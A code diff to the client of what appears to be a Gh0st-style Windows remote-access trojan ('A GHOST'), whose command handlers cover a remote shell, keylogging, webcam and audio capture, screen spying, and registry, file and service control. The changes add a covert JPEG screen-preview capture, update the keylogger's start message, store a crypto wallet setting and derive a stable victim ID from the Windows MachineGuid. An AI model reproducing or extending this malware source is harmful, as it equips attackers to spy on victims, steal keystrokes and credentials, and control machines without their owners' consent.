sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -854,22 +971,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) {
iniFile cfg(CLIENT_PATH);
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
if (v[0].empty() || v[1].empty())
break;
auto now = time(nullptr);
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str());
auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
if (now <= valid_to) break; // Avoid assign again
cfg.SetStr("settings", "master", v[0]);
cfg.SetStr("settings", "port", v[1]);
m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]);
float days = atof(v[2].c_str());
if (days > 0) {
auto valid_to = time(0) + days*86400;
// overflow after 2038-01-19
cfg.SetStr("settings", "valid_to", std::to_string(valid_to));
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
}
}
case SHARE_TYPE_YAMA: {
@@ -883,11 +999,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty())
break;
auto share = v[0] + ":" + v[1];
auto list = cfg.GetStr("settings", "share_list");
auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break;
shareList.push_back(share);
cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|'));
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str());
}
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
@@ -902,8 +1018,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE_CANCEL: {
if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "share_list", "");
m_cfg->SetStr("settings", "share_list", "");
}
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
"Cancel sharing and next run to take effort" : "No permission to cancel sharing");
@@ -926,8 +1041,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval);
}
if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
m_cfg->SetStr("settings", "wallet", m_settings.WalletAddress);
}
CManager* pMgr = (CManager*)m_hKeyboard->user;
if (pMgr) {
@@ -953,33 +1067,49 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_hKeyboard) {
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
} else {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
}
break;
}
case COMMAND_TALK: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SYSTEM: { //远程进程管理
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WSLIST: { //远程窗口管理
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -1008,20 +1138,65 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_SCREEN_PREVIEW_REQ: {
if (ulLength < sizeof(ScreenPreviewReq)) break;
ScreenPreviewReq req;
memcpy(&req, szBuffer, sizeof(req));
// 限流:同一时刻最多 1 个抓屏任务在跑,防御服务端洪泛或异常重发把客户端打爆
static std::atomic<int> s_inFlight{0};
if (s_inFlight.fetch_add(1) >= 1) {
s_inFlight.fetch_sub(1);
break; // 直接丢弃,让服务端 4s 超时降级为"预览不可用"
}
// 投递到工作线程,避免阻塞 OnReceive抓屏 + 编码可能耗几十毫秒
std::thread([this, req]() {
struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
std::vector<unsigned char> jpg;
int w = 0, h = 0;
int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
memset(hdr, 0, sizeof(*hdr));
hdr->token = TOKEN_SCREEN_PREVIEW_RSP;
hdr->reqId = req.reqId;
hdr->status = (uint8_t)st;
hdr->format = SCREEN_PREVIEW_FMT_JPEG;
hdr->width = (uint16_t)w;
hdr->height = (uint16_t)h;
hdr->bytes = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
}
if (m_ClientObject && m_ClientObject->IsConnected()) {
m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
}
}).detach();
break;
}
case COMMAND_SCREEN_SPY: {
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
}
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_LIST_DRIVE : {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -1029,25 +1204,41 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_WEBCAM: {
static bool hasCamera = WebCamIsExist();
if (!hasCamera) break;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_AUDIO: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_REGEDIT: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SERVICES: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
@@ -1165,6 +1356,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
opts.enableResume = queryPending; // 只有发送了查询才等待响应
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([files, targetDir, pClient, opts, hash, hmac]() {
FileBatchTransferWorkerV2(files, targetDir, pClient,

View File

@@ -63,9 +63,34 @@ private:
if (hForegroundWindow == NULL)
return "No active window";
char windowTitle[256];
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
return std::string(windowTitle);
// 用 W 接口取标题,再转 UTF-8避免依赖客户端系统 ANSI 代码页
wchar_t wTitle[256] = { 0 };
GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
if (wTitle[0] == L'\0')
return std::string();
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
if (u8len <= 1)
return std::string();
// 协议字段 ActiveWnd[512]UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
std::string out(u8len - 1, '\0');
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
if (out.size() >= 511) {
out.resize(511);
// 回退到上一个完整 UTF-8 码点起始
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
out.pop_back();
if (!out.empty()) {
unsigned char lead = static_cast<unsigned char>(out.back());
int need = (lead & 0x80) == 0 ? 1
: (lead & 0xE0) == 0xC0 ? 2
: (lead & 0xF0) == 0xE0 ? 3
: (lead & 0xF8) == 0xF0 ? 4 : 0;
if (need == 0) out.pop_back();
}
}
return out;
}
DWORD GetLastInputTime()
@@ -134,6 +159,7 @@ struct RttEstimator {
class CKernelManager : public CManager
{
public:
iniFile* m_cfg = nullptr;
CONNECT_ADDRESS* m_conn;
HINSTANCE m_hInstance;
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
@@ -156,6 +182,9 @@ public:
std::string m_hash;
std::string m_hmac;
uint64_t m_MyClientID = 0;
// 执行代码
std::map<std::string, std::vector<BYTE>> m_MemDLL;
int RestoreMemDLL();
void SetLoginMsg(const std::string& msg)
{
m_LoginMsg = msg;

View File

@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
SAFE_CLOSE_HANDLE(m_hClipboard);
SAFE_CLOSE_HANDLE(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hSendThread);
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
// 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。
if (m_bIsOfflineRecord) {
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
}
delete m_Buffer;
Mprintf("~CKeyboardManager1: Stop %p\n", this);
}
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
int CKeyboardManager1::sendStartKeyBoard()
{
BYTE bToken[2];
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
}

View File

@@ -213,19 +213,26 @@ std::string GetCurrentExeVersion()
std::string GetCurrentUserNameA()
{
char username[256];
DWORD size = sizeof(username);
if (GetUserNameA(username, &size)) {
return std::string(username);
} else {
// 用 W 接口取宽字符再转 UTF-8避免依赖系统 ANSI 代码页(中文账号名在英语系统上
// 用 GetUserNameA 取出来是 '?',与 LOGIN_INFOR 的 CLIENT_CAP_UTF8 声明也不一致)。
wchar_t wname[256] = {};
DWORD wsize = _countof(wname);
if (!GetUserNameW(wname, &wsize)) {
return "Unknown";
}
char buf[256 * 3] = {};
if (WideCharToMultiByte(CP_UTF8, 0, wname, -1, buf, sizeof(buf), NULL, NULL) <= 0) {
return "Unknown";
}
return std::string(buf);
}
#define XXH_INLINE_ALL
#include "common/xxhash.h"
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
// 老算法基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
// 注意pubIP 不稳定DHCP/换网络)会让 ID 跳变;同 hostname+同安装路径的多机会撞库。
// 保留此函数仅为协议兼容(老服务端仍按这个算法验算 RES_CLIENT_ID
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
{
std::string s;
@@ -236,6 +243,52 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
return XXH64(s.c_str(), s.length(), 0);
}
// 读取 Windows 安装时生成的机器 GUID。
// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID
// 重装系统才会变局域网每台机器都不同即便同镜像sysprep 也会重置)。
// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
static std::string GetMachineGuidWindows()
{
HKEY hKey = NULL;
// KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0, KEY_READ | KEY_WOW64_64KEY, &hKey) != ERROR_SUCCESS) {
return std::string();
}
char buf[64] = {};
DWORD sz = sizeof(buf) - 1; // 留 1 字节给 NUL
DWORD type = 0;
LSTATUS s = RegQueryValueExA(hKey, "MachineGuid", NULL, &type,
(BYTE*)buf, &sz);
RegCloseKey(hKey);
if (s != ERROR_SUCCESS || type != REG_SZ) return std::string();
return std::string(buf);
}
// 路径归一化:先尝试展开成长路径(如 PROGRA~1 -> Program Files再小写化。
// 用于 V2 ID 的输入,保证大小写或长短名变化时同一可执行文件得到同一 ID。
static std::string NormalizeExePathLower(const char* path)
{
char longPath[MAX_PATH] = {};
if (GetLongPathNameA(path, longPath, MAX_PATH) == 0) {
// 展开失败(路径不存在等罕见情况):直接用原值
strcpy_s(longPath, path);
}
CharLowerA(longPath); // 原地小写化(对 ASCII 简单,对中文路径会按宽字符规则处理)
return std::string(longPath);
}
// 新算法machineGuid + 归一化路径
// - 同机同程序:永远同 ID不依赖 IP/PCName/OS/CPU
// - 局域网多机相同镜像MachineGuid 必不同 → ID 必不同。
// - 一台机两份程序在不同目录 → ID 不同。
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath)
{
std::string s = machineGuid + "|" + normalizedPath;
return XXH64(s.c_str(), s.length(), 0);
}
BOOL IsAuthKernel(std::string &str) {
BOOL isAuthKernel = FALSE;
std::string pid = std::to_string(GetCurrentProcessId());
@@ -292,9 +345,18 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(getOSBits()); // 系统位数
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
// 路径分两份处理:
// - buf (CP_ACP): 保留给 CalcalateIDv2 / 老 CalculateID 用,保证升级后 client ID
// 不变(老版客户端用的是 GetModuleFileNameA 的 CP_ACP 字节,
// 若改成 UTF-8 同一物理路径会算出不同 ID丢授权/备注)。
// - utf8Path: 发给服务端的 RES_FILE_PATH与 CLIENT_CAP_UTF8 一致。
char buf[_MAX_PATH] = {};
GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // 文件路径
GetModuleFileNameA(NULL, buf, sizeof(buf)); // CP_ACP, 留给 ID 计算用
wchar_t wbuf[_MAX_PATH] = {};
GetModuleFileNameW(NULL, wbuf, _MAX_PATH);
char utf8Path[_MAX_PATH * 3] = {}; // UTF-8 最多 3 字节/中文,给足
WideCharToMultiByte(CP_UTF8, 0, wbuf, -1, utf8Path, sizeof(utf8Path), NULL, NULL);
LoginInfor.AddReserved(utf8Path); // 文件路径 (UTF-8 发给服务端显示)
LoginInfor.AddReserved("?"); // test
std::string installTime = cfg.GetStr("settings", "install_time");
if (installTime.empty()) {
@@ -306,7 +368,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
std::string masterHash(skCrypt(MASTER_HASH));
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
GetFileAttributesExW(wbuf, GetFileExInfoStandard, &fileInfo);
LoginInfor.AddReserved(str.c_str()); // 授权信息
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
@@ -332,7 +394,17 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(IsRunningAsAdmin());
char cpuInfo[32];
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
// V2 ID 算法MachineGuid + 归一化路径
// - 同机同程序路径永远同 ID不依赖 IP/PCName/OS/CPU 漂移)
// - 局域网多机即便同镜像sysprep 会让 MachineGuid 各不同)也不撞库
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
std::string machineGuid = GetMachineGuidWindows();
if (!machineGuid.empty()) {
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf));
} else {
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
}
auto clientID = std::to_string(conn.clientID);
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
char reservedInfo[64];

View File

@@ -137,7 +137,11 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
}
}
BOOL fixedQuality = all || algo == ALGORITHM_H264;
int quality = cfg.GetInt("settings", "QualityLevel", QUALITY_GOOD);
if (algo != (BYTE)ALGORITHM_NUL)
quality = QUALITY_DISABLED;
Mprintf("图像传输算法: %d, 多显示器支持是否启用: %d, 屏幕质量等级: %d\n", (int)algo, all, quality);
m_ScreenSettings.MaxFPS = m_nMaxFPS;
m_ScreenSettings.CompressThread = threadNum;
m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0);
@@ -146,7 +150,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", fixedQuality ? QUALITY_GOOD : QUALITY_ADAPTIVE);
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频

188
client/ScreenPreview.cpp Normal file
View File

@@ -0,0 +1,188 @@
// ScreenPreview.cpp
#include "stdafx.h"
#include "ScreenPreview.h"
#include "../common/commands.h" // ScreenPreviewStatus
#include <windows.h>
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
#include <gdiplus.h>
#pragma comment(lib, "gdiplus.lib")
using namespace Gdiplus;
namespace {
// GDI+ 进程级初始化(与 Bmp2Video 互不冲突Startup 可重入计数)
struct GdiplusBoot {
ULONG_PTR token = 0;
bool ok = false;
GdiplusBoot()
{
GdiplusStartupInput in;
ok = (GdiplusStartup(&token, &in, NULL) == Ok);
}
~GdiplusBoot()
{
if (ok) GdiplusShutdown(token);
}
};
static GdiplusBoot g_boot;
int GetJpegEncoderClsid(CLSID& clsid)
{
UINT num = 0, size = 0;
GetImageEncodersSize(&num, &size);
if (size == 0) return -1;
std::vector<BYTE> buf(size);
ImageCodecInfo* info = reinterpret_cast<ImageCodecInfo*>(buf.data());
GetImageEncoders(num, size, info);
for (UINT i = 0; i < num; ++i) {
if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) {
clsid = info[i].Clsid;
return 0;
}
}
return -1;
}
// 抓主屏到 24bpp Bitmap目标尺寸已等比换算。
// 返回新分配的 Bitmap*,失败返回 nullptr。调用者负责 delete。
Bitmap* GrabPrimaryScaled(int targetW, int targetH)
{
HDC hScreen = GetDC(NULL);
if (!hScreen) return nullptr;
int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN); // 主屏左上 — 仅取主屏时用 0,0
int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN);
(void)srcX; (void)srcY;
int srcW = GetSystemMetrics(SM_CXSCREEN);
int srcH = GetSystemMetrics(SM_CYSCREEN);
if (srcW <= 0 || srcH <= 0) {
ReleaseDC(NULL, hScreen);
return nullptr;
}
HDC hMem = CreateCompatibleDC(hScreen);
HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH);
if (!hMem || !hBmp) {
if (hBmp) DeleteObject(hBmp);
if (hMem) DeleteDC(hMem);
ReleaseDC(NULL, hScreen);
return nullptr;
}
HGDIOBJ oldBmp = SelectObject(hMem, hBmp);
// 高质量缩放HALFTONE 内插
SetStretchBltMode(hMem, HALFTONE);
SetBrushOrgEx(hMem, 0, 0, NULL);
BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH,
hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT);
SelectObject(hMem, oldBmp);
Bitmap* out = nullptr;
if (bb) {
// 拷贝 HBITMAP 到 GDI+ Bitmap避免后续释放设备 DC 影响图像
Bitmap tmp(hBmp, NULL);
if (tmp.GetLastStatus() == Ok) {
out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB);
if (out && out->GetLastStatus() != Ok) {
delete out;
out = nullptr;
}
}
}
DeleteObject(hBmp);
DeleteDC(hMem);
ReleaseDC(NULL, hScreen);
return out;
}
} // namespace
int CaptureAndEncodePreview(int maxWidth, int quality,
std::vector<unsigned char>& out,
int& outWidth, int& outHeight)
{
out.clear();
outWidth = outHeight = 0;
if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED;
if (maxWidth < 64) maxWidth = 64;
if (maxWidth > 1920) maxWidth = 1920;
if (quality < 1) quality = 1;
if (quality > 100) quality = 100;
int srcW = GetSystemMetrics(SM_CXSCREEN);
int srcH = GetSystemMetrics(SM_CYSCREEN);
if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED;
// 等比缩放,禁止放大
int targetW = (srcW <= maxWidth) ? srcW : maxWidth;
int targetH = (int)((double)srcH * targetW / srcW + 0.5);
if (targetH <= 0) targetH = 1;
// 偶数对齐JPEG 编码更高效
targetW &= ~1;
targetH &= ~1;
if (targetW < 2) targetW = 2;
if (targetH < 2) targetH = 2;
Bitmap* bmp = GrabPrimaryScaled(targetW, targetH);
if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED;
CLSID clsid;
if (GetJpegEncoderClsid(clsid) != 0) {
delete bmp;
return SCREEN_PREVIEW_ENCODE_FAILED;
}
EncoderParameters params;
params.Count = 1;
params.Parameter[0].Guid = EncoderQuality;
params.Parameter[0].Type = EncoderParameterValueTypeLong;
params.Parameter[0].NumberOfValues = 1;
ULONG q = (ULONG)quality;
params.Parameter[0].Value = &q;
IStream* stream = nullptr;
if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) {
delete bmp;
return SCREEN_PREVIEW_ENCODE_FAILED;
}
Status st = bmp->Save(stream, &clsid, &params);
delete bmp;
if (st != Ok) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
HGLOBAL hMem = NULL;
if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
SIZE_T sz = GlobalSize(hMem);
if (sz == 0) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
void* p = GlobalLock(hMem);
if (!p) {
stream->Release();
return SCREEN_PREVIEW_ENCODE_FAILED;
}
out.assign((unsigned char*)p, (unsigned char*)p + sz);
GlobalUnlock(hMem);
stream->Release();
outWidth = targetW;
outHeight = targetH;
return SCREEN_PREVIEW_OK;
}

16
client/ScreenPreview.h Normal file
View File

@@ -0,0 +1,16 @@
// ScreenPreview.h
// 屏幕预览:抓主屏 → 等比缩放 → JPEG 编码,供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。
#pragma once
#include <vector>
// 抓取主屏并编码成 JPEG。
// maxWidth 服务端期望的宽度;客户端按源屏宽度等比缩放,不会强制放大
// quality JPEG 质量 1..100(建议 40..85
// out 编码后的 JPEG 字节流
// outWidth 实际编码图宽
// outHeight 实际编码图高
// 返回 0 表示成功;非 0 见 ScreenPreviewStatus枚举在 commands.h
int CaptureAndEncodePreview(int maxWidth, int quality,
std::vector<unsigned char>& out,
int& outWidth, int& outHeight);

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,1
FILEVERSION 1,0,3,3
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.1"
VALUE "FileVersion", "1.0.3.3"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"

View File

